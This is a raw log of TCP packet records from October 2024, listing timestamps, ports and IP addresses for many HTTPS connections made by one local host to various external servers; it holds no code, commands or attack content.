Oct 3, 2024 10:41:47.095532894 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.095550060 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.096065998 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.109983921 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.110033035 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.110064983 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.110088110 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.110116959 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.110160112 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.110169888 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.110234976 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.112704992 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.112755060 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.112775087 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.139199018 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:47.141555071 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.141609907 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.141628027 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.141655922 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.141688108 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.141710997 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.141719103 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.141730070 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.141758919 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.141767025 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.141808033 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.142092943 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.142159939 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.142200947 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.142211914 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.142846107 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.142901897 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.142915964 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.143563986 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.143609047 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.143625021 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.146936893 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.147162914 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.147187948 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.152327061 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.152360916 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.152389050 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.152409077 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.152450085 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.154656887 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.154684067 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.157701969 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.157737017 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.157768965 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.157779932 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.157819986 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.162487030 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.162524939 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.163463116 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.163474083 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.167504072 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.167542934 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.167556047 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.167566061 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.167608023 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.172127008 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.172189951 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.172214031 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.176543951 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.176569939 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.176853895 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.176894903 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.176898956 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.176923037 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.178487062 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.181170940 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.181227922 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.181246042 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.181427956 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.181493044 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.218657017 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.218689919 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.218986988 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.220362902 CEST	50038	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:47.220397949 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:47.221390009 CEST	50026	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:47.221421957 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:47.231044054 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.231062889 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.247045040 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.247057915 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.254705906 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.254733086 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.255173922 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.255202055 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.255878925 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.255892038 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.257210970 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.257231951 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.259124041 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:47.259131908 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:47.266819000 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:47.266848087 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:47.278290987 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.278337955 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.278440952 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.278469086 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.278481007 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.278723955 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.278740883 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.278758049 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.279685974 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.279701948 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.284152031 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:47.284164906 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:47.286377907 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:47.286384106 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:47.427853107 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:47.427879095 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:47.429148912 CEST	50048	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:47.429188967 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:47.429255962 CEST	50048	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:47.429651022 CEST	50048	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:47.429677963 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:47.453450918 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:47.453486919 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:47.453543901 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:47.454410076 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:47.454427958 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:47.515431881 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:47.515479088 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:47.515537024 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:47.516256094 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:47.516268969 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:47.524142027 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.524816990 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.524840117 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.525213957 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.525861979 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.525942087 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.526058912 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.528048038 CEST	50053	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:47.528084993 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:47.528146982 CEST	50053	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:47.528423071 CEST	50053	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:47.528439045 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:47.534554958 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:47.534590960 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:47.534672022 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:47.534866095 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:47.534879923 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:47.540910959 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:47.540956974 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:47.541019917 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:47.541186094 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:47.541198969 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:47.571407080 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.817735910 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.817842007 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.817888021 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.818211079 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.818231106 CEST	443	50042	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.818233013 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.818268061 CEST	50042	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.820063114 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.820113897 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.820172071 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.820403099 CEST	50056	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.820424080 CEST	443	50056	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.877962112 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.878357887 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.878376007 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.879139900 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.879725933 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.879793882 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.880090952 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.890522003 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.890559912 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.890626907 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.890945911 CEST	50058	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.890953064 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.891011953 CEST	50058	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.893688917 CEST	50057	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.893701077 CEST	443	50057	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.893837929 CEST	50058	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:47.893847942 CEST	443	50058	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.900410891 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:47.900450945 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:47.900502920 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:47.901209116 CEST	50060	443	192.168.2.4	34.251.198.143
Oct 3, 2024 10:41:47.901217937 CEST	443	50060	34.251.198.143	192.168.2.4
Oct 3, 2024 10:41:47.902312994 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:47.902324915 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:47.902390003 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:47.902551889 CEST	50061	443	192.168.2.4	18.66.122.74
Oct 3, 2024 10:41:47.902560949 CEST	443	50061	18.66.122.74	192.168.2.4
Oct 3, 2024 10:41:47.912152052 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:47.912173986 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:47.912221909 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:47.912416935 CEST	50063	443	192.168.2.4	13.35.58.58
Oct 3, 2024 10:41:47.912431002 CEST	443	50063	13.35.58.58	192.168.2.4
Oct 3, 2024 10:41:47.915822029 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.916081905 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.916095972 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.917113066 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.917181015 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.918114901 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.918170929 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.918287039 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.918296099 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.919925928 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:47.920188904 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:47.920200109 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:47.921231985 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:47.921284914 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:47.922314882 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:47.922382116 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:47.922597885 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:47.922616959 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:47.927401066 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:47.928023100 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.928227901 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.928256035 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.929311991 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.929372072 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.929820061 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.929888964 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:47.929991961 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:47.930005074 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.111641884 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.123404026 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.123473883 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.131403923 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.131620884 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.145951986 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.146034002 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.146100044 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.146765947 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:48.146974087 CEST	50048	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:48.146979094 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:48.147121906 CEST	50049	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.147156954 CEST	443	50049	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.147319078 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:48.152326107 CEST	50048	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:48.152442932 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:48.154612064 CEST	50048	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:48.159225941 CEST	50064	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.159256935 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.159318924 CEST	50064	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.159626961 CEST	50064	443	192.168.2.4	34.98.64.218
Oct 3, 2024 10:41:48.159641981 CEST	443	50064	34.98.64.218	192.168.2.4
Oct 3, 2024 10:41:48.176270008 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.177028894 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.177047014 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.177057981 CEST	443	50043	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:48.177117109 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.177117109 CEST	50043	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:48.180625916 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.180639982 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.180700064 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.180887938 CEST	50067	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.180897951 CEST	443	50067	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.187127113 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.187629938 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.187660933 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.188685894 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.188743114 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.189214945 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.189289093 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.189409018 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.189425945 CEST	443	50055	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:48.199405909 CEST	443	50048	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:48.201098919 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.201450109 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.201459885 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.201791048 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.202203989 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.202248096 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.202253103 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.202260971 CEST	443	50054	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:48.207556009 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.207634926 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.207753897 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.208352089 CEST	50047	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.208379984 CEST	443	50047	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.221227884 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.221317053 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.221359015 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.223180056 CEST	50046	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:48.223201990 CEST	443	50046	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:48.243457079 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:48.244488955 CEST	50053	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:48.244504929 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:48.244894028 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:48.246174097 CEST	50053	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:48.246253014 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:48.246300936 CEST	50053	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:48.249485970 CEST	50055	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:48.249497890 CEST	50054	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:48.253254890 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.255669117 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.255695105 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.256082058 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.256136894 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.256678104 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.256706953 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.256762028 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.256762028 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.256802082 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.257069111 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.257122040 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.257292032 CEST	50068	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.257304907 CEST	443	50068	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.257651091 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.257658005 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.291394949 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:48.296328068 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:48.296370983 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:48.296422005 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:48.296775103 CEST	50069	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:48.296796083 CEST	443	50069	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:48.297298908 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.297319889 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.297383070 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.297710896 CEST	50070	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:48.297724009 CEST	443	50070	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:48.369565964 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.369577885 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.369688034 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.369705915 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.369996071 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.370601892 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.370620012 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.370636940 CEST	443	50051	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:48.370661974 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.370695114 CEST	50051	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:48.433043957 CEST	443	50053	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:48.433115005 CEST	443	50053	13.33.187.60	192.168.2.4
